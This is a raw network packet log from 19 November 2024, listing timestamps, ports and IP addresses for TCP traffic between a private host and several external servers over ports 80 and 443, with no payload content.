Nov 19, 2024 20:05:48.265444994 CET	52516	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.265467882 CET	443	52516	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.265491009 CET	52516	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.265499115 CET	443	52516	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.267340899 CET	443	52519	108.139.47.33	192.168.2.7
Nov 19, 2024 20:05:48.267489910 CET	443	52519	108.139.47.33	192.168.2.7
Nov 19, 2024 20:05:48.267551899 CET	52519	443	192.168.2.7	108.139.47.33
Nov 19, 2024 20:05:48.268229961 CET	52519	443	192.168.2.7	108.139.47.33
Nov 19, 2024 20:05:48.268229961 CET	52519	443	192.168.2.7	108.139.47.33
Nov 19, 2024 20:05:48.268255949 CET	443	52519	108.139.47.33	192.168.2.7
Nov 19, 2024 20:05:48.268310070 CET	52519	443	192.168.2.7	108.139.47.33
Nov 19, 2024 20:05:48.277760029 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.277785063 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.277828932 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:48.277837992 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.277868032 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:48.277889013 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:48.280697107 CET	52527	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.280721903 CET	443	52527	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.280867100 CET	52527	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.281074047 CET	52527	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.281085968 CET	443	52527	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.348715067 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.348727942 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.348738909 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.348788023 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.348793030 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.348803043 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.348818064 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.348824978 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.348829985 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.348840952 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.348846912 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.348855972 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.348866940 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:48.348879099 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.348893881 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.348896980 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.348910093 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:48.348913908 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.348920107 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.348925114 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.348938942 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.348943949 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:48.348946095 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.348953962 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.348957062 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:48.348968029 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.348973036 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.348990917 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.348999977 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.349004984 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.349016905 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.349026918 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.349028111 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.349042892 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.349056005 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.349066973 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.349078894 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.349087000 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.349087000 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.349090099 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.349101067 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.349107027 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.349108934 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.349121094 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.349123001 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.349134922 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.349145889 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.349158049 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.349168062 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.349174976 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.349174976 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.349180937 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.349193096 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.349195004 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.349204063 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.349215031 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.349225998 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.349237919 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.349237919 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.349239111 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.349251032 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.349267960 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.349277973 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.349277973 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.349313974 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.350123882 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.350184917 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.350320101 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.350332022 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.350343943 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.350383997 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.350397110 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.350469112 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.350481987 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.350492001 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.350503922 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.350518942 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.350553989 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.351782084 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.351979971 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.351990938 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.352018118 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.352152109 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.352174997 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.352185965 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.352193117 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.352206945 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.352226973 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.352261066 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.352353096 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.352365971 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.352375984 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.352387905 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.352396965 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.352400064 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.352411032 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.352413893 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.352422953 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.352461100 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.352461100 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.352616072 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.352627993 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.352638960 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.352646112 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.352669001 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.352679968 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.354785919 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.354798079 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.354809999 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.354830980 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.354886055 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.354934931 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.354947090 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.354958057 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.354969978 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.354979038 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.355021954 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.355021954 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.355117083 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.355129004 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.355139017 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.355151892 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.355161905 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.355178118 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.355201006 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.355201006 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.355230093 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.355248928 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.355262041 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.355273962 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.355287075 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.355287075 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.355321884 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.355321884 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.356273890 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.356287003 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.356298923 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.356304884 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.356312037 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.356323004 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.356338024 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.356348991 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.356359959 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.356362104 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.356372118 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.356380939 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.356410980 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.356410980 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.356412888 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.356426001 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.356436014 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.356446981 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.356462002 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.356504917 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.356528997 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.356580973 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.356595039 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.356626034 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.356664896 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.357451916 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.357464075 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.357506990 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.357506990 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.357595921 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.357608080 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.357620001 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.357631922 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.357641935 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.357641935 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.357644081 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.357665062 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.357677937 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.357681036 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.357681036 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.357690096 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.357702017 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.357713938 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.357717037 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.357726097 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.357728958 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.357738018 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.357748985 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.357760906 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.357762098 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.357773066 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.357784033 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.357785940 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.357796907 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.357809067 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.357844114 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.363351107 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.363379955 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.363394976 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.363413095 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.363425016 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.363428116 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.363445044 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.363452911 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.363461018 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.363467932 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.363477945 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.363493919 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.363511086 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.363518953 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.363518953 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.363527060 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.363540888 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.363544941 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.363564968 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.363591909 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.363591909 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.363605022 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.368973970 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:48.369005919 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.370841026 CET	52528	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:48.370882988 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:48.370985985 CET	52529	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:48.371004105 CET	52528	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:48.371027946 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:48.371232986 CET	52529	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:48.376833916 CET	52530	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:48.376880884 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:48.376945019 CET	52530	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:48.377386093 CET	52528	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:48.377408028 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:48.377665043 CET	52529	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:48.377677917 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:48.380343914 CET	52530	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:48.380378962 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:48.415950060 CET	443	52501	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:48.415977955 CET	443	52501	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:48.415985107 CET	443	52501	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:48.416024923 CET	443	52501	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:48.416058064 CET	52501	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:48.416070938 CET	443	52501	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:48.416083097 CET	443	52501	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:48.416093111 CET	52501	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:48.416203976 CET	52501	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:48.434098005 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434158087 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434170961 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434182882 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434217930 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.434217930 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.434286118 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434300900 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434319973 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434334993 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434351921 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.434351921 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.434365034 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.434439898 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434452057 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434463024 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434475899 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434484959 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.434484959 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.434509039 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.434557915 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434572935 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434587955 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434622049 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.434622049 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.434679985 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434695005 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434709072 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434725046 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434746027 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.434746027 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.434768915 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.434897900 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434911013 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434921980 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434935093 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434947014 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434952974 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.434952974 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.434958935 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.434973955 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435002089 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.435002089 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.435034037 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435045958 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435069084 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.435069084 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.435086966 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.435105085 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435117006 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435127020 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435138941 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435151100 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435163975 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435169935 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.435169935 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.435211897 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.435211897 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.435303926 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435417891 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435430050 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435441017 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435455084 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435460091 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.435467958 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435480118 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435494900 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435497046 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.435497046 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.435523033 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.435561895 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.435698032 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435709953 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435720921 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435734987 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435749054 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435760975 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.435761929 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435779095 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435792923 CET	80	52448	185.215.113.206	192.168.2.7
